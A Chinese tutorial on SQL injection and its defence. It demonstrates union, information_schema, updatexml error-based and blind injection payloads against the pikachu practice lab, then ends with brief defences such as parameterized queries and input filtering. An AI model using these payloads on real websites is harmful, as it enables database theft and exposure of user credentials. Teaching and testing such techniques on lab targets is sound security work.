SQL注入攻击与防御

一. SQL注入原理

在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞.

image

在上图中可以看到,攻击者在提交请求时将SQL语句插入到请求内容中,程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。

二. 注入类型

在SQL注入漏洞中,注入类型分为三种:数字型、字符型、搜索型

2.1 数字型

在 Web 端中经常能看到是例如http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。

这一类的 SQL 语句结构通常为 select * from news where id=1 ,如果攻击者将参数id的值改为1 or 1=1,那么程序中拼接的sql语句则为:select * from news where id=1 or 1=1,因此参数改变了原有的SQL语句结构,导致了SQL注入漏洞攻击。

2.2 字符型

在 Web 端中也经常能看到例如http://xxx.com/news.php?name=admin 这种形式的URL地址,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句结构通常为

select * from 表名 where name='admin'

当攻击者在参数值admin尾部加入攻击代码' or 1=1,那么拼接出来的sql注入语句为:

select * from news where chr='admin' or 1=1 '

这样SQL语句同样也会被改变,当然攻击者也不仅仅使用这么简单的攻击代码,通常还会使用一些更加复杂的攻击代码,例如

admin' union select 1,2,3,4 or '1'='1 

在程序中拼接SQL语句之后,则变成了

select * from news where chr='admin' union select 1,2,3,4 or '1'='1' 

这样就可以使用union结构将攻击者所感兴趣的内容返回回来

2.3 搜索型

很多时候我们会看到网站有个站内搜索的功能,搜索功能往往需要和数据库进行交互,因此也会存在SQL注入漏洞风险,搜索型SQL注入的特点是攻击代码中有两个% ,如下图所示

在上图中可以看到,这个地方原本是用来搜索相关用户名的,当攻击代码为

%xxxx% or 1=1 #%'

所有的用户都在下方展示了出来,在命令行里我们可以这样搜索:

三、 SQL注入检测

在检测SQL注入漏洞时候,要明白SQL注入一定会要与数据库进行交互才会存在注入点,例如:

  • URL中存在参数
  • 登录、注册的地方
  • 发布或更新文章
  • 留言或提问的表单
  • http头、cookies、referee、user agent、post都可以给服务端传递参数

3.1 检测注入方法

点通常有三种方式:单引号判断,数字型判断,字符型判断.

3.1.1 单引号判断

  • 搜索型判断是指在URL地址中加入单引号'以页面返回的结果作为判断依据,例如URL地址http://xxx/abc.php?id=1我们在URL地址的参数中加入',组成新的URL地址http://xxx/abc.php?id=1'使用浏览器访问之后,如果页面出现错误提示,则说明后端没有对浏览器传递的参数进行过滤,该地址很大几率存在SQL注入漏洞

结果:如果出现错误提示,则该网站可能就存在注入漏洞。

数字型

判断 and 1=1;and 1=2 来判断

  • 实例:http://xxx/abc.php?id= x and 1=1

页面依旧运行正常,表示不存在注入漏洞

  • 实例:http://xxx/abc.php?id= x and 1=2 页面运行错误,表示存在 Sql注入,且为数字型注入

字符型

判断 and '1'='1 和 and '1'='2 来判断

  • 实例:http://xxx/abc.php?id= x' and '1'='1 页面运行正常,表示不存在注入漏洞
  • 实例http://xxx/abc.php?id= x' and '1'='2 页面运行错误,表示存在Sql注入,且为字符型注入

URL示例

  • http://www.*.com/***.php?id=xx (php注入)
  • http://www.*.com/***.jsp?id=xx (jsp注入)
  • http://www.*.com/***.aspx?id=xx (aspx注入)

3.2 注入提交方式

输入的参数只要和数据库进行交互的,都有可能触发SQL注入,因此GET可以直接在地址栏中编写攻击代码

POST方式地址栏看不见参数,但可以使用抓包工具,如下图所示

burp suite抓包可见,Cookie --burp suite抓包可见

四. 注入攻击类型

4.1 UNINO联合查询注入

联合查询在注入里用的最多,也是最快的;union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。下面以pikachu靶场平台的数据库为例,在测试SQL注入的表单输入如下攻击代码

kevin' union select username,pw from member where id=1;

服务端接收参数后,没有对参数进行过滤,因此拼接的SQL语句如下所示

select id,email from member where username='kevin' union select username,pw from member where id=1;

为了方便读者理解,我将程序拼接的SQL语句直接查询,返回结果如下所示:

mysql> select id,email from member where username='kevin' union select username,pw from member where id=1;
+-------+----------------------------------+
| id    | email                            |
+-------+----------------------------------+
| 5     | kevin@pikachu.com                |
| vince | e10adc3949ba59abbe56e057f20f883e |
+-------+----------------------------------+
2 rows in set (0.00 sec)

从上面返回的结果中可以看到,原本SQL语句只查询member表的id和email字段,但是利用了攻击代码之后,却返回了username和pw字段;

猜测字段

上面的攻击代码有一个前提条件,就是我们本身是知道数据库中有username和pw字段的,但实际渗透测试过程中,往往一开始是不知道对方数据库结构的,为了知道对方数据库结构,通常情况下union操作符会与order by语句配合使用;

在SQL语法中,union查询的字段不能超过主查询的字段数量,这个时候可以在SQL语句后面加order by进行排序来猜测字段数量,如下攻击参数为例

a' order by 4#%

访问页面后,返回结果如下所示

在上图中可以看到,MySQL出现了语法错误提醒,没有第四个字段;只有我们输入了正确的字段数才会返回正常结果,通过这种方式我们就能知道,后端一次查询了多少个字段。

4.2 information_schema注入

在MySQL5.0版本以上,数据库安装后会自动产生一个information_schema备份库,备份着mysql里的所有库和表.

通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。

先找出数据库的名称,输入

vince' union select database(),user(),3#%

得到反馈,判断数据库名称为pikachu。

获取pikachu数据库的表名,输入:

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,

构造的攻击参数如下所示:

k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

页面返回的信息如下图所示

在上图中我们看到页面中显示了该表的所以字段信息

获取字段值的内容

构造的攻击参数如下所示

kobe'union select username ,password,3 from users#%

页面返回结果如下图所示

在上图中可以看到该表的数据被显示了出来

4.3 基于函数报错注入

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

基于报错的信息获取(三个常用的用来报错的函数)

  • updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
  • extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
  • floor():MYSQL中用来取整的函数.

基于报错的信息获取

UPDATEXML (XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

五、实战测试

5.1 爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

爆出数据库版本信息为5.5.53

5.2 爆数据库当前用户

k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

爆出当前数据库用户为root@localhost

5.3 爆数据库库名

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

爆出当前数据库名为pikachu

5.4 insert

insert是通常是插入的地方有注入点,例如注册,进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,用下面的代码测试是否有注入点,格式如下:

'or updatexml(1,concat(0x7e,(user())),0) or'

点击提交按钮,如下图所示

使用burp suite进行抓包,如下图所示

将攻击参数放到burp suite中,如下图所示

点击发送数据包,如下图所示

在上图中可以看到右侧已经显示了当前的账户信息

找到注入点,开始渗透

测试后发现用户名有注入点,我们插入以下代码,爆数据库表名:

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

5.5 update 注入

update通常是更新、修改个人信息的地方有注入点,举例:

表单抓包

登录后--点击修改个人信息--输入信息--抓包

用单引号(')测试有没有报错,有报错说明有注入点

开始渗透

我们试着查看当前数据库名,语句:

' or updatexml(0,concat(0x7e,(database())),0) or'

从上图中的返回信息中可以看到,当前的数据库名称为 pikachu

5.6 dalete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:

Brup Suite抓包

点击删除哈哈哈,然后抓包

插入以下代码进行注入:

+or+updatexml(2,concat(0x7e,(database())),0)

从上图中的返回信息中可以看到,当前的数据库名称为 pikachu

5.7 SQL盲注分为三大类:

在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办法就无法使用了。

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

盲注通常分为三种类型:

  • 布尔型SQL盲注
  • 时间型SQL盲注
  • 报错型SQL盲注

布尔型盲注

按照逻辑,我们构造语句,如果返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在! 。按照之前逻辑,输入sql语句:

vince' and ascii(substr(database(),1,1))=112#

通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。

时间型盲注

到base on time盲注下,输入上个演示中设置好的payload

vince' and ascii(substr(database(),1,1))=112#

返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload:

vince' and sleep(x)#

基于时间的延迟,构造一个拼接语句:

vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#

输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输入:

vince' and if(substr(database(),1,1)='p',sleep(10),null)#

再web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。

报错型盲注

众所周知,盲注并不会返回错误信息,使得sql注入的难度提高。而报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;当然其他类型的数据库也存在相应的问题,

Bug 8652的主要内容就是在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而这个错误将会披露关键信息,如Duplicate entry '####' for key 1

这里的####正是用户输入的希望查询的内容

而该bug产生的主要原因就是:在rand()和group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询

六. 注入防御

不要使用动态SQL,避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询(PDO预处理),这样更安全;限制数据库权限和特权,将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。

防范文件

直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面.

函数过滤

如果id是否为数字,直接将数据类型转换为整型,如下代码所示

$id=intval($_GET['id']);

字符型使用函数过滤

$name = addslashes($_GET['name']);

过滤后单引号会自动转义,因此SQL语句结构不会被改吧

举报

扫码关注云+社区

领取腾讯云代金券